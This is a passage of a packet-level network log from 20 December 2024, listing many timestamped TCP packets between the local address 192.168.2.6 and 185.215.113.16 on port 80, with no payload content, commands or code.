Dec 20, 2024 17:17:50.106925964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106937885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106937885 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.106949091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.106964111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.106985092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.126277924 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.167340994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.167356014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.167367935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.167407990 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.167525053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.167541027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.167551994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.167563915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.167588949 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.167603970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.168061018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.168072939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.168083906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.168102026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.168119907 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.168531895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.168543100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.168554068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.168586016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.168941021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.168955088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.168966055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.168979883 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.168982983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.169001102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.169375896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.169410944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.169421911 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.169433117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.169480085 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.169491053 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.230395079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.230415106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.230428934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.230479002 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.230626106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.230638027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.230648041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.230659962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.230669975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.230705023 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.231115103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.231127024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.231138945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.231161118 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.231194019 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.231455088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.231503010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.231515884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.231528044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.231543064 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.231575966 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.232094049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232105970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232116938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232129097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232140064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232147932 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.232151031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232192039 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.232207060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.232805967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232816935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232832909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232845068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232856035 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232857943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.232867002 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232883930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.232892036 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.232909918 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.276767969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.292380095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.292448044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.292459965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.292505026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.292682886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.292771101 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.292804003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.292834044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.292845964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.292879105 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.293121099 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.293132067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.293148041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.293160915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.293171883 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.293173075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.293200016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.293214083 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.293770075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.293781996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.293824911 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.293953896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.293966055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.293994904 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.294182062 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294203997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294223070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294234037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294244051 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.294245005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294272900 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.294856071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294868946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294878960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294891119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294902086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294908047 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.294912100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.294931889 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.295641899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.295655012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.295670986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.295681953 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.295689106 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.295718908 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.296077967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296112061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.296140909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296153069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296164036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296175957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296185970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296186924 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.296204090 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.296936989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296948910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296960115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296972036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.296983004 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.297015905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.297413111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.297430992 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.297441006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.297451973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.297452927 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.297468901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.297472000 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.297480106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.297498941 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.298162937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.298221111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.298228025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.298245907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.298257113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.298266888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.298284054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.298291922 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.298295021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.298311949 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.298329115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.299073935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.299087048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.299102068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.299117088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.299129009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.299129963 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.299140930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.299150944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.299153090 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.299184084 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.359510899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.359530926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.359541893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.359580994 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.359740973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.359778881 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.359812975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.359828949 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.359839916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.359850883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.359869957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.359893084 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.360366106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.360377073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.360393047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.360404015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.360408068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.360433102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.360438108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.360449076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.360487938 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.361175060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.361294985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.361304998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.361327887 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.361483097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.361494064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.361504078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.361515999 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.361515999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.361531973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.400177956 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.422203064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.422257900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.422271013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.422310114 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.422612906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.422656059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.422657967 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.422755957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.422775030 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.422785997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.422796011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.422821045 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.423047066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.423146009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.423202038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.423214912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.423224926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.423235893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.423242092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.423269987 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.423805952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.423818111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.423866987 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.423945904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.423964024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.424118996 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.424266100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.424277067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.424288988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.424299002 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.424310923 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.424313068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.424345016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.424890995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.424901962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.424913883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.424937010 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.424948931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.425266981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.425278902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.425290108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.425345898 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.484405041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.484494925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.484508038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.484534025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.484761953 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.484780073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.484791994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.484802961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.484818935 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.484858036 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.485187054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.485246897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.485259056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.485270023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.485295057 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.485754967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.485766888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.485778093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.485791922 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.485810995 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.486084938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.486097097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.486109018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.486134052 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.486490965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.486501932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.486512899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.486522913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.486530066 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.486535072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.486548901 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.486584902 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.487303972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487323046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487334013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487345934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487355947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487366915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487391949 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.487406969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.487867117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487879038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487900019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487907887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487910986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487916946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487917900 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.487921953 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.487977982 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.488634109 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.488645077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.488656998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.488668919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.488673925 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.488681078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.488691092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.488692045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.488718033 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.489460945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.489473104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.489487886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.489496946 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.489506006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.489516973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.489526987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.489537954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.489542007 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.489564896 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.489578962 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.490257025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.490268946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.490278959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.490295887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.490307093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.490314960 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.490320921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.490331888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.490333080 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.490370035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.491164923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.491175890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.491187096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.491198063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.491206884 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.491209984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.491225958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.491235018 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.491238117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.491255999 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.491275072 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.564392090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.564448118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.564460039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.564491034 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:50.564779997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.564790964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:50.564800978 CET	80	49809	185.215.113.16	192.168.2.6
